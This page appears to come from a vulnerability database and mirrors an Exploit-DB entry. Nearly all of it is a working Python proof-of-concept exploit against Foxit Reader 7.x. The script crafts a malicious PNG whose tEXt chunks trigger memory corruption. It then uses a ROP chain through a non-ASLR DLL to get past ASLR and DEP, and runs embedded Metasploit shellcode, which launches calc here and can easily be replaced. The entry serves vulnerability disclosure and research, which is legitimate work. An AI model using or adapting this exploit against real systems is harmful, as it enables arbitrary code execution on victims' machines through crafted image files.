Search...

Foxit Reader - PNG Conversion Parsing tEXt Chunk Arbitrary Code Execution

2015-07-27T00:00:00
ID EDB-ID:37699
Type exploitdb
Reporter Sascha Schirra
Modified 2015-07-27T00:00:00

Description

Foxit Reader - PNG Conversion Parsing tEXt Chunk Arbitrary Code Execution. Local exploit for windows platform

                                        
                                            # Exploit Title: Foxit Reader PNG Conversion Parsing tEXt chunk - Arbitrary Code Execution
# Date: 07/07/2015
# Exploit Author: Sascha Schirra
# Vendor Homepage: https://www.foxitsoftware.com
# Software Link: https://www.foxitsoftware.com/downloads/
# Version: 7.0.8 - 7.1.5 (maybe also older versions) tested versions 7.1.5 and 7.0.8
# Tested on: Windows 7 SP1
# Vendor informed and bug confirmed: July 08th, 2015

"""
This is a PoC (ASLR/DEP bypass)
For ASLR bypass jrsysCrypt.dll is used, which doesn't make use of ASLR
For DEP bypass a ropchain is used which call ZwProtectVirtualMemory through fastsyscall.
This script looks for a tEXt chunk in a png file and replace this chunk with two other tEXt chunks.
The first of them triggers the vulnerability and the second one contains a ropchain and shellcode.
"""

import binascii
import struct
import re
import sys

p = lambda x:struct.pack('I', x)

if len(sys.argv) < 2:
    print('usage: %s <pngfile>' % sys.argv[0])
    exit()

print('Open file: %s' % sys.argv[1])
with open(sys.argv[1],'rb') as f:
    data = f.read()

m = re.search('tEXt', data)
if not m:
    print('No tEXt chunk')
    exit()
print('tEXt chunk found')
start = data[:m.start()-4]
length = struct.unpack('>I', data[m.start()-4:m.start()])[0]
end = data[m.end()+length + 4:]

vulnChunk = 'tEXt\0' # vulnerable because of the missing keyword
vulnChunk += 'A'*8
vulnChunk += p(0x10041a14) # xchg eax, ecx; ret;
vulnChunk += p(0x10067e0a) # xchg eax, ebp; add byte ptr [eax], al; add esp, 4; ret;
vulnChunk += 'AAAA'
vulnChunk += p(0x10013d24) # mov esp, ebp; pop ebp; ret;
vulnChunk += 'A'*16
vulnChunk += '\x0a\xd2' # Partial Overwrite This have to be changed on each system. Another solution is needed here.


vulnlen = struct.pack('>I', 0x2b) # length os 0x2b is needed to overwrite 2 bytes of the this pointer.
vulnChunkCRC32 = struct.pack('>i',binascii.crc32(vulnChunk))

secondChunk = 'AAA\0'*(580) 
secondChunk += p(0x10009b40) # Pointer to the following gadget: MOV EDX,DWORD PTR SS:[ESP+2C]; MOV EAX,DWORD PTR SS:[ESP+28]; PUSH EDX; MOV EDX,DWORD PTR SS:[ESP+24]; PUSH EAX; PUSH ESI; PUSH EDX; PUSH EDI; CALL DWORD PTR DS:[ECX+14]
secondChunk += p(0x1007c853) # pop esi; pop edi; pop ebx; pop ebp; ret;
secondChunk += p(0x1000ba26) # xchg eax, esp; rcr byte ptr [esi + 0x5d], 0x40; pop ebx; add esp, 0x18; ret;
secondChunk += 'AAAA'*2
secondChunk += p(0x1006265d) # mov eax, dword ptr [esp + 0xc]; push eax; call dword ptr [ecx + 8];


# calc shellcode - metasploit
buf =  "\x83\xc4\xce"
buf += "\xda\xc8\xbb\x15\xee\x3a\x64\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x30\x31\x5d\x18\x83\xed\xfc\x03\x5d\x01\x0c"
buf += "\xcf\x98\xc1\x52\x30\x61\x11\x33\xb8\x84\x20\x73\xde"
buf += "\xcd\x12\x43\x94\x80\x9e\x28\xf8\x30\x15\x5c\xd5\x37"
buf += "\x9e\xeb\x03\x79\x1f\x47\x77\x18\xa3\x9a\xa4\xfa\x9a"
buf += "\x54\xb9\xfb\xdb\x89\x30\xa9\xb4\xc6\xe7\x5e\xb1\x93"
buf += "\x3b\xd4\x89\x32\x3c\x09\x59\x34\x6d\x9c\xd2\x6f\xad"
buf += "\x1e\x37\x04\xe4\x38\x54\x21\xbe\xb3\xae\xdd\x41\x12"
buf += "\xff\x1e\xed\x5b\x30\xed\xef\x9c\xf6\x0e\x9a\xd4\x05"
buf += "\xb2\x9d\x22\x74\x68\x2b\xb1\xde\xfb\x8b\x1d\xdf\x28"
buf += "\x4d\xd5\xd3\x85\x19\xb1\xf7\x18\xcd\xc9\x03\x90\xf0"
buf += "\x1d\x82\xe2\xd6\xb9\xcf\xb1\x77\x9b\xb5\x14\x87\xfb"
buf += "\x16\xc8\x2d\x77\xba\x1d\x5c\xda\xd0\xe0\xd2\x60\x96"
buf += "\xe3\xec\x6a\x86\x8b\xdd\xe1\x49\xcb\xe1\x23\x2e\x23"
buf += "\xa8\x6e\x06\xac\x75\xfb\x1b\xb1\x85\xd1\x5f\xcc\x05"
buf += "\xd0\x1f\x2b\x15\x91\x1a\x77\x91\x49\x56\xe8\x74\x6e"
buf += "\xc5\x09\x5d\x0d\x88\x99\x3d\xd2"


shellcode=buf
rop = ''
# Write Size to data section
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa004) # data section
rop += p(0x100012ca) #pop ecx; ret
rop += p(0x1000)

# Write baseaddr (esp) to data section
rop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret;
rop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa008) # data section
rop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret;
rop += p(0xdeadc0de)

# dereference syscall and call it
rop += p(0x1002d346) #pop eax; ret
rop += p(0x7ffe0300) # fastsyscall
rop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0xd7) #syscall
rop += p(0x10081541) #push ecx;cld; ret

rop += p(0x100801f5) # 6xpop; ret
rop += p(0xdeadc0de)
rop += p(0xffffffff)
rop += p(0x100aa008) # datasection Pointer to baseaddress
rop += p(0x100aa004) # datasection Pointer to size
rop += p(0x40)
rop += p(0x100aa00c)
rop += p(0x1006c63b) # push esp, ret

rop += shellcode

secondChunk +=rop
secondChunk += 'A'*4000
secondChunk = secondChunk[:4000] 

secondChunkLen = struct.pack('>i', len(secondChunk)+1) 
secondChunk = 'tEXt'+'\0'+secondChunk
secondChunkCRC32 = struct.pack('>i',binascii.crc32(secondChunk))

with open('exploit_'+sys.argv[1],'wb') as f:
	f.write(start+(secondChunkLen + secondChunk + secondChunkCRC32) +vulnlen + vulnChunk + vulnChunkCRC32+ end)

print('Exploit file created: %s' % ('exploit_'+sys.argv[1]))
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by